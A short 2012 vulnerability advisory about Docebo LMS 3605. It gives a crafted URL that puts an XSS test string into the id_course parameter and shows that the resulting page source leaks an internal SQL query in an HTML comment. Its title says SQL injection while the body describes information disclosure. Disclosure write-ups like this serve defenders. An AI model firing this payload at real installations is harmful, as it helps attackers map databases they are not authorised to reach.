Docebo LMS 3605 SQL Injection

`[ TITLE ....... ][ Docebo LMS (docebo_3605.zip)  
[ DATE ........ ][ 15.04.2012  
[ AUTOHR ...... ][ http://hauntit.blogspot.com  
[ SOFT LINK ... ][ http://www.docebo.com  
[ VERSION ..... ][ docebo_3605.zip  
[ TESTED ON ... ][ LAMP  
[ ----------------------------------------------------------------------- [  
  
[ 1. What is this?  
[ 2. What is the type of vulnerability?  
[ 3. Where is bug :)  
[ 4. More...  
  
[--------------------------------------------[  
[ 1. What is this?  
This is very nice CMS, You should try it! ;)  
  
[--------------------------------------------[  
[ 2. What is the type of vulnerability?  
  
This is kind of information disclosure bug.  
  
Because of wrong validation, user can access 'error message' from Docebo.  
http://docebo/doceboLms/index.php?modname=coursecatalogue&op=courselist&id_course=%29%27%3e%27%3e%3cBODY%20onload!#$%%26%28%29%2a~%2b-_%2e,%3a%3b%3f@[%2f|%5c]^%60%3dalert%28%22XSS%22%29%3e&re=ok_subs  
  
(This is 'standard xss' attack from one of books about it. Anyway,)  
for this 'payload', we will see an error:  
"You can't access/lms/course/private/1/coursecatalogue/view".  
  
Sure, but when we'll check source of page, there is more:  
"  
  
<!-- SELECT count(idOrg) FROM learning_organization LEFT JOIN learning_organization_access ON   
( learning_organization.idOrg = learning_organization_access.idOrgAccess ) WHERE (idCourse = '1')   
AND (idResource <> 0) AND (visible = '1') AND ( (learning_organization_access.kind = 'user'   
AND learning_organization_access.value = '1040')   
OR learning_organization_access.idOrgAccess IS NULL)   
-->You can't access/lms/course/private/1/coursecatalogue/view"  
  
Tadaaam :)  
  
[--------------------------------------------[  
[ 3. Where is bug :)  
  
Information disclosure bug for vulnerable parameter:  
id_course.  
This parameter is getting value from id parameter from 1 request before.  
  
Check it.  
  
[--------------------------------------------[  
[ 4. More...  
  
- http://hauntit.blogspot.com  
- http://www.docebo.com  
- http://www.google.com  
- http://portswigger.net  
[  
[--------------------------------------------[  
[ Ask me about new projects @ mail. ;)  
]  
[ Best regards  
[   
  
`